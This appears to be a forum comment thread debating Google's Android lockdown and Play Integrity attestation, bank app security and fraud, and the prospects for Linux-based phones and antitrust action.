Unfortunately, I can also envision a locked down internet available only on certified devices in ten years. Absurd? A mere idea of a locked-down Android device looked absurd... yesterday. Just yesterday.
Switch to Iphone now? Maybe the in crowd will like me now.
What’s stopping us from making this a reality? We have passionate FOSS developers and visionary leaders capable of championing this cause and building a strong community around it.
I had high hopes for Marc Shuttleworth’s Ubuntu Phone. Unfortunately, after the Kickstarter campaign fell through, development stalled. I still believe consumers missed out on a remarkable piece of technology.
That said, I see Ubuntu Touch[1] is still active, though I’m unclear on its current impact or progress. Meanwhile, Smart TVs and smartphones continue to be dominated by Google’s Android OS.
FOSS/Linux has had many attempts at phones, but they need one good leader to do it, which is very hard unless someone with name recognition gets everyone to work on one project.
The story unfolds in 28th century, but it all seems have started in the 21st one.
When will they go against malicious ads in apps?
- platforms are going to be forced to collect more data about you
- The amount of places without you showing IDs will decrease
- There will be more "moderation". You will not be able to provide nsfw contents, then you will not be able to host controversial topics. I suspect games will be more "kid friendly". No more real doom, gta, or Mortal Kombat for you. I remember how they provided more clothes on women for mortal Kombat
- The rules will always be vague, and used sporadically. Just like YouTube rules, where companies often abuse DMCA just to shut you off, or ban you, if you are not playing nice. Like Schlep.
- Corporations will create pressures on validated users, or ban you for life, but often they will just use "fear" to police people by themselves. Just like people will use "unalive" words, because they know they can get into trouble for saying a different word
- Google will be able to police extensions by banning people
- It is all a boiling frog scenario, where it creeps one law after another until everything is moderated, controlled by corporations
- The safety increases, but freedom decreases
- Free software people will often be mixed in article texts with terrorists, bad actors, predators, pedophiles
- It can happen because people do not understand these mechanisms, and they want "safer" world, in which nobody can get hurt, but it is also a place without you being free
It's never safe when there's no freedom.
I would be fine, if it was mandatory for Android manufacturers to allow installing alternative OSes. Normies could benefit from the added security on their certified Android device, and advanced users could install GrapheneOS.
Hopefully the EU slaps everyone with massive fines for these obvious anticompetitive plays. Best case scenario would be an outride ban giving local companies space but I doubt this will happen given how spineless the current commission is.
Clearly for American companies to be tightening the noose like that quoting the approval of authoritarian countries, it means they’re starting to feel the fire. It’s hard to not see the obvious link with them losing against Epic here behind the usual security smoke screen.
Both Apple and Google should have been broken to pieces for their egregious anti competitive behaviour a long time ago anyway.
As far as I can see, the latest developments are from April 2025 when the commision fined Apple 500M€ for non-compliance due to preventing developers to advertise their app being available on a third-party store.
Its good and bad at the same time imho.
Its also why we should not trust large AI corporations that appoint themselves as stewards of "AI safety". If a company that once had the slogan "don't be evil" can do this, so can all the frontier labs
I'm getting ready to give up on smartphones altogether. I used to think that surely a sufficiently open phone would come along, and that you could then just run a sandboxed Android emulator on that for whenever you needed some proprietary apps where society has stupidly decided you need them. But that also seems to be getting progressively harder.
So maybe I just give up on actually using a phone for much. Has anyone tried living with cheap Android or iPhone as a source of connectivity and making phone calls, perhaps with the odd app you just can't get through daily life without (see above), and then move everything where privacy and control actually matter the most to a small "pocket computer" that connects to the internet through a connection shared by the cheap phone? Are there any sufficiently compact and nice such devices? Surely they're easier to produce when you don't require a phone baseband and all the things that are needed for Google to certify it as an Android phone?
Thoughts?
Linux really is the only way to have an experience where the computer is your device to do what you want to do with it.
Android shouldn't be considered Open Source anymore, since source code is published in batches and only part of the system is open, with more and more apps going behind the Google ecosystem itself.
Maybe it's time for a third large phone OS, whether it comes from China getting fed up with the US and Google's shenanigans (Huawei has HarmonyOS but it's not open) or some "GNU/Linux" touch version that has a serious ecosystem. Especially when more and more apps and services are "mobile-first" or "mobile-only" like banking.
It's tempting to have full control over everything OSS style, but the reality is you can only tenably have that for very specific parts of life.
Or, as you say, kiosks.
Allowing apps to say "we only run on Google's officially certified unmodified Android devices" and tightly restricting which devices are certified is the part that makes changes like this deeply problematic. Without that, non-Google Android versions are on a fair playing field; if you don't like their rules, you can install Graphene or other alternatives with no downside. With Play Integrity & attestation though you're always living with the risk of being cut off from some essential app (like your bank) that suddenly becomes "Google-Android-Only".
If Play Integrity went away, I'd be much more OK with Google adding restrictions like this - opt in if you like, use alternatives if you don't, and let's see what the market actually wants.
There are a lot of scams targeting vulnerable people and these days attacking the phone is a very "easy" way of doing this.
Now perhaps there is a more forgiving way of implementing it though. So your phone can switch between trusted and "open" mode. But realistically I don't think the demand is big enough for that to actually matter.
Even with play integrity, you should not trust the client. Devices can still be compromised, there are still phony bank apps, there are still keyloggers, etc.
With the Web, things like banks are sort of forced to design apps that do not rely on client trust. With something like play integrity, they might not be. That's a big problem.
Play integrity hugely reduces brute force and compromised device attacks. Yes, it does not eliminate either, but security is a game of statistics because there is rarely a verifiably perfect solution in complex systems.
For most large public apps, the vast majority of signin attempts are malicious. And the vast majority of successful attacks come from non-attested platforms like desktop web. Attestation is a valuable tool here.
As for compromised devices, assuming you mean an evil maid, Android already implements secure boot, forcing a complete data wipe when breaking the chain of trust. I think the number of scary warnings is already more than enough to deter a clueless "average user" and there are easier ways to fish the user.
This reminds me of providers like Xiaomi making it harder to unlock the bootloader due to phones being sold as new but flashed with a compromised image.
"Your device is loading a different operating system."
Brute force attacks on passwords generally cannot be stopped by any kind of server-side logic anymore, and that became the case more than 15 years ago. Sophisticated server-side rate limiting is necessary in a modern login system but it's not sufficient. The reason is that there are attackers who come pre-armed with lists of hacked or phished passwords and botnets of >1M nodes. So from the server side an attack looks like this: an IP that doesn't appear anywhere in your logs suddenly submits two or three login attempts, against unique accounts that log in from the same region as that IP is in, and the password is correct maybe 25%-75% of the time. Then the IP goes dormant and you never hear from it again. You can't block such behavior without unworkable numbers of false positives, yet in aggregate the botnet can work through maybe a million accounts per day, every day, without end.
What does work is investigating the app doing the logging in. Attackers are often CPU and RAM constrained because the botnet is just a set of tiny HTTP proxies running on hacked IoT devices. The actual compute is happening elsewhere. The ideal situation from an attacker's perspective is a site that is only using server side rate limiting. They write a nice async bot that can have tens of thousands of HTTP requests in flight simultaneously on the developer's desktop which just POSTs some strings to the server to get what they want (money, sending emails, whatever).
Step up the level of device attestation and now it gets much, much harder for them. In the limit they cannot beat the remote attestation scheme, and are forced to buy and rack large numbers of genuine devices and program robotic fingers to poke the screens. As you can see, the step-up from "hacking a script in your apartment in Belarus" to "build a warehouse full of robots" is very large. And because they are using devices controlled by their adversaries at that point, there's lots of new signals available to catch them that they might not be able to fix or know about.
The browser sandbox means you can't push it that far on the web, which is why high value targets like banks require the web app to be paired with a mobile app to log in. But you can still do a lot. Google's websites generate millions of random encrypted programs per second that run inside a little virtual machine implemented in Javascript, which force attackers to use a browser and then look for signs of browser automation. I don't know how well it works these days, but they still use it, and back when I introduced it (20% time project) it worked very well because spammers had never seen anything like it. They didn't know how to beat it and mostly just went off to harass competitors instead.
If 3 attempts per hour is enough to gain access, then it doesn't seem attestation can save you. I imagine a physical phone farm will still be economically viable in such case.
It was very effective when this problem was new. Don't know about the current state of things.
How is the attacker supposed to bruteforce anything with 2-3 login attempts?
Even if 1M node submitted 10 login attempts per hour, they would just be able to try 7 billion passwords per month per account, that's ridiculously low to bruteforce even moderately secure passwords (let alone that there's definitely something to do on the back end side of things if you see one particular account with 1 million login attempts in a hour from different IPs…).
So I must have misunderstood the threat model…
Except it's not a seatbelt, it's straitjacket with a seatbelt pattern drawn on it: it restrain the user's freedom in exchange for the illusion of security.
And like a straightjacket, it's imposed without user consent.
The difference with a straightjacket is that there's no doctor involved to determine who really needs it for security against their own weakness and no due process to put boundaries on its use, it's applied to everyone by default.
Play integrity is just DRM. DRM does not prevent the most common types of attack.
If I have your password, I can steal your money. If I have your CC, I can post unauthorized transactions.
Attestation does not prevent anything. How would attestation prevent malicious login attempts? Have you actually sat down and thought this through? It does not, because that is impossible.
The vast, vast VAST majority of exploits and fraud DO NOT come from compromised devices. They come from unauthorized access, which is only surface level naively prevented by DRM solutions.
For example, HBO Max will prevent unauthorized access for DRM purposes in the sense that I cannot watch a movie without logging in. It WILL NOT prevent access if I log in, or anyone else on Earth logs in. Are you seeing the problem?
Now, you have a bucket of mobile users coming to you with attestation signals saying they’ve come from secure boot, and they are using the right credentials.
And you’ve got another bucket saying they’ve are Android but with no attestation, and also using the right credentials.
You know from past experience (very expensive experience) that fraud can happen from attested devices, but it’s about 10,000 times more common from rooted devices.
Do you treat the logins the same? Real customers HATES intrusive security like captchas?
Are you understanding the tech better now? The entire problem and solution space are different from what you think they are.
What could possibly go wrong. It's not only morally questionable no matter what "advantages" it provides Google, but it's also technically ridiculous because _even if every single computing device was attested_, by construction I can still trivially find ways to use them to "brute force" Google logins. The technical "advantage" of attestation immediately drops to 0 once it is actually enforced (this is were the seatbelts analogy falls apart).
Next thing I suggest after forcing remote attestation on all devices is tying these device IDs to government-issued personal ID. Let's see how that goes over. And then for the government to send the killing squad once one of these devices is used to attack Google services. That should also improve security.
Here's the dystopian future we're building, folks. Take it or leave it. After all, it statistically improves security!
Yes, for SOME subset of attackers (car crashes), for SOME subset of targets (passengers), the mitigations don’t solve the problem.
This is not the anti-attestation / anti-seatbelt argument many think it is.
All security is mitigation. There is non perfection.
But it makes no sense to say that because a highly motivated attacker with a lot of money to spend can rig real attested devices to be malicious, there must be no benefit to a billion or so legit client devices being attested.
I think your enthusiasm for melodrama and snark may be clouding your judgment of the actual topic.
I won't solve the problem for _anyone_ once it is required, because it is trivial to bypass once the incentive is there. This is what kills this technically; it does not even go into the other cons (which really should not be ignored). Seatbelts absolutely do not have this problem.
> All security is mitigation. There is non perfection.
This is an absolutely meaningless tautology. It is perfectly true statement. It adds absolutely nothing to the discussion.
Say I argue in favor "putting a human to verify each and every banking transaction with a phone call to the source and the destination". And then you disagree, saying that there will be costs, waste of time for everyone, and that the security improvement will be minimal at best. And then I counter with "All security is mitigation, there is no perfection!".
Can you see what you're doing here? This is another textbook example of the politician's fallacy (something must be done; this is something; therefore we must do this).
It is trying to bypass the discussion on the actual merits of the proposal as well as its cons by saying "well it does something!" . True, it does something. So what? If the con is bad enough, or if the benefit too small, maybe it's best NOT to do it anyway!
> But it makes no sense to say that because a highly motivated attacker with a lot of money to spend can rig real attested devices to be malicious, there must be no benefit to a billion or so legit client devices being attested.
Not long we had right here in HN a discussion about the merits of remote attestion for anti-cheating: turns out the "lot of money" is a custom USB mouse (or addon to one) that costs cents to make. Sure, its not zero. You have to go more and more draconian in order to actually make it "a lot of money", but then you'll tell me I'm being melodramatic.
Probably not even that, but it limits liability and that’s the only purpose, just like the manual in your car, nobody will ever read it but it contains a warning for every single thing that could happen.
You need to attest at least the kernel, firmware, graphics/input drivers, window management system etc because otherwise actions you think are being taken by the user might be issued by malware. You have to know that the app's onPayClicked() event handler is running because the human owner genuinely clicked it (or an app they authorized to automate for them like an a11y app). To get that assurance requires the OS to enforce app communication and isolation via secure boundaries.
Imagine if this was done for desktop computers before we had smartphones. That's just crazy.
Relying on hardware-bound keys is fine, but then the scope of the hardware and software stack that needs to be locked down should be severely limited to dedicated, external hardware tokens. Having to lock down the whole OS and service stack is just bad design, plain and simple, since it prioritizes control over freedom.
2. It does not eliminate any meaningful types of fraud. Phishing still works, social engineering still works, stealing TOTP codes still works.
Ultimately I don't need to install a fake app on your phone to steal your money. The vast, vast majority of digital bank fraud is not done this way. The vast majority of fraud happens within real bank apps and real bank websites, in which an unauthorized user has gained account access.
I just steal your password or social engineer your funds or account information.
This also doesn't stop check fraud, wire fraud, or credit card fraud. Again - I don't need a fake bank app to steal your CC. I just send an email to a bad website and you put in your CC - phishing.
Nobody is making mistakes as dumb as "we fixed something we can measure so the problem is solved". Fraud and abuse have ground-truth signals in the form of customers getting upset at you because their account got hacked and something bad happened to them.
2. This stuff is also used to block phishing and it works well for that too. I'd explain how, but you wouldn't believe me.
You mention check fraud so maybe you're banking with some US bank that has terrible security. Anywhere outside the USA, using a minimally competent bank means:
• A password isn't enough to get into someone's bank account. Banks don't even use passwords at all. Users must auth by answering a smartcard challenge, or using a keypair stored in a secure element in a smartphone that's been paired with the account via a mailed setup code (usually either PIN or biometric protected).
• There is no such thing as check fraud.
• There is no such thing as credit card phishing either. All CC transactions are authorized in real time using push messaging to the paired mobile apps. To steal money from a credit card you have to confuse the user into authorizing the transaction on their phone, which is possible if they don't pay attention to the name of the merchant displayed on screen, but it's not phishing or credential theft.
There is an entire name for this: dark pattern.
People make this mistake all the time. Its a very common measurement problem, because measuring is actually very hard.
Are we measuring the right thing? Does it mean what we think it means? Companies spend hundreds of billions trying to answer those questions.
2. Not it cannot block phishing because if I get your password, I can get in.
To your points:
- yes, banks in the US use one time codes too. Very smart of you, unfortunately not very creative. Trivial to circumvent in most cases. Email is the worst, SMS better, TOTP best.
TOTP doesn't matter if the user just takes their code and inputs it into whatever field.
- yes there is such a thing as check fraud, you not knowing what it is doesn't matter.
- if I had to authorize each CC transaction on my phone, I'd put a bullet in my head. That's shit.
TOTP, which you say is best, is considered weak sauce outside the US. I don't know any banks that have used it for a very long time. It's not secure enough. Cheques were phased out decades ago. There are entire generations in Europe who have never even seen a cheque, let alone written one. I think the last time I had a chequebook issued it was in 2004.
IIRC the differences arise because in the US consumer legislation makes merchants liable for refunding fraudulent transactions, so banks and consumers have no incentive to improve security and merchants can't do it except via convoluted and hardly working risk analysis. It's just so easy to do chargebacks there that nobody bothers fixing the infrastructure. This pushes everyone into the arms of Amazon and the like because they have the most data for ML.
Outside the US and especially in Europe, merchants aren't liable for fraudulent transactions if they verified the credentials correctly. It's much harder to do chargebacks as a consequence. Even if a merchant delivered subpar stuff or there was some other commercial dispute, chargebacks are very hard (I tried once and the bank just refused). So liability shifts to banks, unless they can show that the transaction was authorized by the account holder and they had correct information. That means banks and merchants are incentivized to improve security, and they do.
Meanwhile if attestation does reduce fraud, the ownability (by the user) of the device is now forfeit due to chasing a dragon's tail.
Really? Because they've been fine without this feature on desktop for literally decades.
I really wish I wouldn't need to have my money managed by some corporate drones in suits but it's really hard these days to do without a bank account.
This is why I was really into crypto at the beginning; it envisioned giving us control abck over what's ours. But all the KYC crap and the wishes of the speculators for more oversight basically made crypto the same nasty deal as the public banking sector.
In other words, there aren't many banks that let you take sensitive actions with just a browser and that's been true since the start of online banking.
These days they also apply differential risk analysis based on the device used to submit a transaction and do things to push people towards mobile. For instance in Switzerland there's now a whole standard for encoding invoices in QR codes. To pay those you must use the mobile apps.
Edit: people are getting hung up on the "never accepted browsers" part. It means they only use the browser for unimportant interactions. For important stuff like login or tx auth, they expect the use of separate hardware that's more controlled like a SIM card/mobile radio, smartcard or smartphone app. Yes some banks are more lax than others but in large parts of the world this was always true since the start of online banking.
I guess the smartcard reader is equivalent. But my point is that locking down the OS of the phone is sufficient to establish client trust but not necessary. You should always be allowed to run the app without strong Play Integrity verification but then just be required to scan your hardware token with NFC in every authentication and authorization flow.
My bank does still allow login and txns to be authorized with a smart card reader. You have to type in fragments of the account number to authorize a new recipient. After that you can send additional transactions to that account without hardware auth.
Pure NFC tokens don't work because you need trusted IO.
But just the fact that there are options which have the side effect of making you choose between convenience and digital autonomy is wrong, and I don't think remote attestation should even exist in the toolbox. We should make dedicated hardware solutions work better instead.
If you evolve the smartcard based systems with better I/O capabilities, then you end up with a modern smartphone. At which point you may as well let the user supply their own rather than charging them lots of money for a dedicated device that's not much different.
I am fine with locking down devices that have very limited security purposes. I am fine with my passport containing locked down hardware if it makes it harder to forge. But I am also not browsing the web on my passport, and therefore its security requirements cannot prevent me from removing ads.
Yes, I can do it now, but this is only because Google allows me to do that on their approved Android distribution, not because they are unable to prevent me from doing it. I don't trust them to not take away that freedom from me as soon as they can be sure that they can afford the anti-trust lawsuit since their core business model is to show me ads.
I know that my bank doesn't care about my browser, but by relying on Play Integrity they are indirectly forcing me to operate in Google's control regime in every other aspect on my device.
I don't want them to control my software stack, period. I don't care if they act as the good guys right now, they have been steadily doing downhill in the moral department and I expect them to continue to do so.
I don't understand how you can act like there is no problem at all with technology like this.
The reason they used SMS codes for a while is because phones have always tried to block malware from reading your screen or SMS storage whereas PCs don't, and because phones can do remote attestation protocols to the network as part of their login sequence. The SIM card contains keys used to sign challenges, and the network only allows authorized radio firmwares to log on. So by sending a code to a phone you have some cryptographic assurance that it was received by the right user and viewed only by them.
2FA and RA are closely related for that reason. The second factor is dedicated hardware which enforces that only a human can interact with it, and which can prove its identity cryptographically to a remote server. The mobile switching center, in the case of SMS codes.
Obviously, this was a very crude system because malware on the PC could intercept the login after the user authorized, but at least it stopped usage of the account when the user wasn't around. Modern app based systems are much more secure.
- I can't transfer a single cent if I didn't had my face and documents scanned after installing the bank app.
- I can't have the same bank account logged in two of my devices at the same time, all banks require you to use an account on a "verified" device (previous point).
- If I want to use a desktop to access my bank account, I have to either install a desktop client provided by the bank or be limited to just checking my balance. Some banks doesn't even allow you to log in if you don't have a "verified" device for doing 2FA.
I am very sure my higher ups are cheering with these news, even though it solves none of the problems.
when I started online banking I used a browser and a TAN list for years. No apps required
What are you talking about? My bank accepts browsers and is a major one.
This might be the case for a couple of banks - or maybe in one or two specific countries, but broadly, none of what you've said here applies to banks anywhere else in the world.
That said, there is one major bank I use that still allows password only.
There are banking systems in some countries that do not even require an ATM/Debit card for automated withdrawals, just an account number and grouping code.
In my entire life, I have never banked anywhere that would let you transact or log in with just a desktop browser. You seem to be convinced this is an edge case but every bank in Europe works this way, as far as I know. There are US financial institutions that would do this, but the US financial system is uniquely fraud prone to a level just not tolerated elsewhere. It lagged years behind on chip-and-PIN cards for instance, and largely never managed to roll it out. The US treats bank account numbers as credentials and other stuff that doesn't apply elsewhere.
Just look at this thread: plenty of people saying what I'm saying. If you bank somewhere that lets people use just a browser to do transactions, you're either in an environment where fraud doesn't matter at all, or you're with a bad bank and should leave them.
[0]: https://en.wikipedia.org/wiki/Web_Environment_Integrity
There is even government regulator pressure now for financial services to be liable for cases where the user legitimately authorizes a transaction to a party that turns out to be a scammer. Of course the banks want to watch your every move and control your devices. They would be stupid not to given the incentives.
That said, the legal obligations around how this works is very different. One of the reasons common advice is use a credit card for online purchases instead if a debit card or checking account link is because of the fact that they have different liability expectations around fraud[0]
[0]: there are of course a multitude of good reasons for this advice generally speaking, but this one is cited a lot
The losses due to fraudulent CC activity are governed by the FCBA.
It’s shocking how people think companies do this kind of stuff out of good will rather than being forced by law.
I guess I'm unusual in that I've been using an "online" only bank for 20 years (back then it wasn't so online... I had a stack of UPS overnight envelopes for check deposits), but I cannot imagine patronizing a bank that won't let me log in and do basically anything from a browser.
I think this is mainly just an attempt to kill things like newpipe.
Play Integrity is not compliant with any antitrust legislation, that's painfully obvious. The sole and only purpose of this system is to remove non-Google Android forks.
The benefits may not be sufficient to offset the harms you see, but if you don’t understand how and why these capabilities are used by services, I’m also suspicious you understand the harms accurately.
Betting on Play Integrity to solve that is betting that devices will become more expensive in the future, that's quite obvious that the opposite is happening, they are getting cheaper and cheaper.
Yeah, I see this mentality a lot on HN (and kinda everywhere for that matter). "Anyone who disagrees with me is evil, and must therefore have evil motives for everything they're doing. The reasonable/innocent explanation they give for why they're doing this must actually be a front for this other shadowy, nefarious motivation that I just made up on the spot, because surely nobody ever does bad things for good reasons. Certainly not those evil people who disagree with me!"
I hate having to defend Google here, because I think this is genuinely a terrible, freedom-destroying move, but malware on Android is a real problem (especially in Brazil, Indonesia, Singapore, and Thailand, where they're rolling this out initially) and this probably will do a lot to solve it. I'm just categorically against the whole idea of taking away the freedom of mentally sound adults "for their own good" regardless of whether it works or not, and this particular case is especially maddening because I'm one of those adults whose freedom is being destroyed.
If they really care about scams, they could remove all these casino-like games on the playstore. But they aren't going to do that because a huge chunk of the playstore revenue comes from those scam games.
If it's really a problem they care about, here's some priorities. (And I'd personally happy if they cared as I have some family members who got scammed by those)
But how else should Google and their users react? Insist on offering a platform with far more abuse while subjecting users to worse user experiences and websites to more attacks… in the name of abstract freedom?
It’s funny to see the volume of comments on HN from folks who are outraged at how AI companies ferociously scrape websites, and the comments disliking device attestation, and few comments recognizing those are two sides of the same coin.
Play integrity (and Apple’s PAT) are what allow mobile users to have less headaches than desktops. Not saying it’s a morally good thing (tech is rarely moral one way or the rather) just that it’s a capability with both upsides and downsides for both typical and power users.
Play Integrity's highest level of attestation features requires devices to be running a security update which is within a sliding window of 1 year.
LOTS of Android devices have not released a security update in many many years. This forces users to unnecessarily upgrade to higher end OEMs.
Google is effectively pushing out Xiaomi, Huawei, and many others that offer excellent budget options. Google is not just offering you the comfort of not having to fill out CAPTCHAs on your phone, most importantly they are playing monopoly.
I never had to wait on Dell to type apt update and apt upgrade.
I see creating a mechanism for remote attestation of consumer devices as morally bad because it's a massive transfer of power away from end users to corporations and governments. A scheme where only computers blessed by a handful of megacorporations can be used to interact with the wider world will be used for evil even if current applications are fairly benign.
Unless you get SMS or some normal TOTP app as 2FA, using the web page usually requires the bank's proprietary app to authorize. So you circle back to the the same issue.
If your bank allows you to access all features from a browser, consider yourself lucky. Mine requires the app to authorize any online transaction.
The main issue being solved here is that security relies heavily on those actors like Google and Apple. Banks, companies etc. have high security requirements (rightly so) and basically need to tick boxes. So if the only way to obtain, say, MFA, is through something only Goole/Apple provides, they will require Google or Apple devices.
If we had reasonable standards alternatives can become a reality.
The reason a big company can do this is because they can absorb big liability risk and insure it appropriately.
A standard can't do that.
That is a very hard problem, unless someone with serious name recognition like Linus Torvalds starts to lead that kind of effort, or a big company like Microsoft suddenly decides that putting 1 billion towards GNU/Linux would be in their interest. With small efforts, it will remain scattered.
Crowdfunding has a lot of power if there is name recognition behind the effort. Star Citizen has already gathered $800 million with mostly enthusiasm and a good start. Who is there to lead the effort for GNU/Linux phone development?
But I think Sailfish OS has a mature ecosystem, they are well recognized in the EU and based on GNU/Linux. I use it daily, after moving from UBports, and it serves me well. Hopefully SfOS gains more popularity.
By which criterion? I'm happily using Librem 5 as a daily driver; wrote this reply from it.
For the new ecosystem to win, it needs to have its own user base for companies building apps to recognize it. Even with SailfishOS, the banking apps still require Android compatibility layer, which is slowly eroded with Play Services and Play integrity check disabling those one by one in the coming years.
A person can dream.
Created a hobby OS, just a hobby, won't be big
I would say that this is really not the OS's problem, but the bank's problem. I find it absolutely intolerable that there are banks that force me to use a OS from one (or two) specific vendors.
Same goes for public transportation services (German Bahn Card is now only available in their app) or post mail services (German Post "Mobile Stamp" is only available in their official app).
…And strong and effective antitrust legislation in place to stop current monopolies like Google from crushing small startups.
Trouble is, despite governments paying lip service to wanting competition in this arena they really don't want competition at all, especially so from small startups.
Look at it this way, controlling and handling a few big companies is much easier for governments than having to deal with a plethora especially so when many are small startups; and second, it's also easier for them to extract user data from Big Tech's operations (as Big Tech is predictable and they've been doing so for a long time)—than it it would be from many small startups, especially so when the products they're planning to manufacture are aimed at improving privacy and adding encryption.
Think of the current UK and Apple debacle and governments' motives for not being proactive become abundantly clear.
Linus is a kernel hacker, and already busy tending to his own project.
"GNU/Linux" is effectively a committee of communities, with sometimes conflicting goals. It took Canonical and Valve to put things into shape on the desktop, and that's mostly because desktop was becoming less relevant.
I see two ways for things to change here:
- A massive, for-profit corporation, someone willing and able to challenge Google and Apple on an even ground, is hell-bent on making a Linux-based phone (Microsoft failed even after acquiring Nokia);
- Another platform shift happens, making smartphones irrelevant in comparison (think: when smartphones displaced desktops).
And actually the development experience was much better than Android to this day.
But that isn't coming back, especially after they killed all developer good will on Windows OS for everyone that invested into WinRT as platform.
Whatever benefit we'd have from a Windows Phone today, it's laughable to think that Microsoft wouldn't be doubling down on exactly the sort of locked-down devices Apple (and now Google) have or are moving towards.
Their only vaguely "open" platform (Windows) is like that because of legacy compatibility and customers, but for anything new Microsoft always wanted to sell you an Xbox that could make phonecalls. Try writing and deploying an app on that without a developer account.
I was in Espoo, the week following the burning platforms memo.
However it represented a third option, to a percentage no Linux phone distribution has ever achieved since Open Moko.
Maybe Maemo could have been it, had not been for Nokia's board decision to bring in Elop.
If anyone wants to give it a shot again, don't start with a GNU/Linux phone, start with something the masses actually will care about. Reverse-engineered, adversarially-interoperable social media apps for all the mainstream networks with no ads/dark patterns? Cool. Adblocking by default? Sure thing. Built-in support for a wide range of cloud providers (including standard protocols such as SFTP/S3/etc). And so on.
Address actual pain points that people have. "GNU/Linux" by itself does not address anything. The non-technical majority don't even know what that is or means, and even for technical people it isn't a perk by itself - sure, you can run whatever software you want... but you (or someone else) still need to write said software to begin with... or you could just trade a bit of money and "freedom" and buy an iPhone which doesn't have any of those problems.
It's been that time for years. But it's easier said than done. The closest we've currently got are the various phone-targeted Linux distros out there. But they're not quite ready for serious usage for me; at least not on the Pinephone. Still, that's where to put your time & money if you're serious about wanting a change.
PPpro was mismanaged especially badly. Nothing against the amazing community- it's just there were some hardware/firmware decisions by pine that made it especially hard to develop for. Meanwhile, the non-pro version is handicapped by a very slow processor.
There's still some development happening, and the window managers like KDE are still improving stuff on the front end. But you're right, it has slowed down. That all said, this is still the only non-Google/Apple device you can get in the USA that actually kinda works. I used both the non-pro and pro versions for a few months a couple years ago as my daily driver. I could make calls, send texts, connect to matrix, etc. I wouldn't claim that "it just worked" but it did work.
You forgot Librem 5.
This is true for both the engineering and business sides. Cyanogen’s failure showed that it ultimately doesn’t matter how good your software product is if your business side of things is poorly run. Same with the Pebble smartwatch - amazing product, terrible back office.
And while efforts like Pinephone are good, they don't have the VC or talent to really make that a reality anytime soon on a massive scale. Most efforts in this space are open source which is great but doesn't really pay anything. People with these skills can easily work at any phone OEM and make good money. So I think it will take a massive company to do it. Maybe Microsoft wants to give it another go haha. Amazon has tried multiple times to make this a reality but it's just cost so much money and time that they keep shutting it down.
I don't have any answers, for something to become viable is has to appeal to the average consumer and getting to that point is like crossing a mountain.
Apple and Google conspired to never allow that to happen. They've pushed Microsoft out of that sector. Microsoft! Name a bigger challenger.
Hedge your bets.
I went through 3 generations of Windows Phone devices for work. The only thing phenomenal about them was the Zune-style UI. They were buggy and unreliable, even for the few apps they had.
That idea died for me long ago, I had used Android since 2009 till 2020. I gave up on the dream of a Linux phone. Ubuntu had a nice sleek Phone UI they were working on. The issue is if nobody builds the phones and no carrier cares, nobody will pick it up. You need to push yourself into the market.
Microsoft could fill this weird gap if they wanted to the key things would be they would have to truly open source the OS. I could see Amazon trying again, but they'd need to invest a lot as well. It's an uphill battle needing a serious flagship phone. Your other problem is most apps need to be migrated.
All that type of money went to llms, who is going to spend that on a phone os now? Not who should, but who actually would? They gave up on browsers, they gave up on mobile oses. There is a real risk that the next step is the US gov takes X% of google instead of enforcing antitrust in a year or two.
Linux phones will never take off because banking and media/drm apps, and by extension social media apps, will just boycott them and kill it off. The tone has been set, this comment applies to any major player trying to break into the mobile market moving forward.
This is honestly very bleak news.
I'm just name dropping from the perspective of a big org that could fund such a thing correctly, but they would need to start over IMHO.
I'm not sure of another big player who could invest billions into such an endeavour.
Until we have serious antitrust legislation against Google and Apple wielding their market power against any new entrants we are stuck with a duopoly.
At the very least, Google needs to lose Android, and probably YouTube as well.
Wishful thinking department unfortunately. Modern US capitalism wouldn't allow that to happen—and a large majority of users are so addicted to the electronic heroin provided (seemingly for free but not) by the likes of Big Tech—Google et al—to care let alone do anything about the problem.
You could probably get away with porting only a tiny fraction of all apps.
I only use ~10-20 apps. If I was sure those work reliably I'd not hesitate to move.
Here's a list for anyone who's interested:
* Firefox * Money / bank * Identity * Maps * Email / calendar * Public transport * Chat (Whatsapp, signal, telegram, Facebook messenger, hangout, slack, discord..) * Camera * Music * Podcasts * YouTube * Taxi * Renting bikes * Parking * Digital "postbox" (not email) * Gym * 2FA * Calculator * Phone/SMS * Google Drive
edit: coming to think of it, teaching people to have a device for the "clean stuff" and separate one for the "stupid stuff" could even turn out to be a benefit.
if anything, it would be mobile computing "pulling the modem out of the computer", like home desktops did in the 90s. I probably still have that 14.4k pcmcia modem card laying around somewhere...
If Trump ordered Google, tomorrow, to put some egregious measure in place in Android (or Chrome, or Google Search), I, personally, would not want to bet that they would refuse him. And frankly, I don't know that I can even imagine the kinds of things he might try to get them to do.
We absolutely need better competition in smartphone OSes—we need it across the board in tech, really, from a wide array of countries.
Years ago I loved tinkering with the devices but then I wasn't able to use my bank and it was getting more and more annoying so at one point I just stopped...
The biggest problem are: 1) lack of drivers (so creating custom roms/OS for the devices is problematic), 2) locked bootloaders and 3) many apps requiring PlayServices and other stuff (mostly banks).
There is postmarketOS, it looks awesome but - device support is very lacking and there is no way to have bank and PopularApps (whatsapp/instagram/etc) running on it so it's popularity is microscopic…
Maybe another European Citizen Initiative to force makers to provide those things (bootloader and drivers)?
Until now I've steadfastly refused to use banking on my smartphones because of these problems (and I usually use rooted phones).
The trouble is it's becoming more and more difficult to avoid phone payments/banking. My solution is to get a small phone specifically dedicated for the purpose and use it for no other purpose (it's a pain but the best compromise). That way I don't have to worry about my main smartphone.
Of course, the best solution would be for governments to regulate for banks to accept multiple access/payment system of which there are a number. Standardized and regulated protocols would solve many of these problems but that's a too bigger subject to address here.
This has been my solution as well and I can't help but wonder, given the recent push for digital ID, insurance, etc. if we will all eventually be carrying a separate data-only device for digital security/attestation purposes.
And maybe one day there will be some convergent evolution and the attestation devices go back to being dedicated hardware. Like the card-reader I already have to to log into my online banking.
Likely so, methinks. I can't see any other long-term solution that'd be workable and actually benefit users. Moreover, if implemented properly (sensibly) with the user in charge it would be useful for much more than just banking.
For example, it could incorporate a hierarchical key system with the user/owner having access to all data. Privacy would be assured as each entity you'd communicate or transact with would only have access to information on a need-to-know basis.
Your bank would only have access to your name and necessary authentication data; only you and your doctor would have access to your medical records; government/tax would have access to your financial records for tax purposes but not be able to access other data.
General shopping could be done anonymously—even without your bank being aware of what you were buying or from whom you were buying it (it'd be like a cash withdrawal to spend as you wish). The bank would issue you money as a cash advance which you'd add to a local pool of cash, you'd then withdraw funds to pay the vendor (this would likely involve crypto currency to isolate the payment from the bank). And so on, there'd be as many options to such a scheme as a user would need.
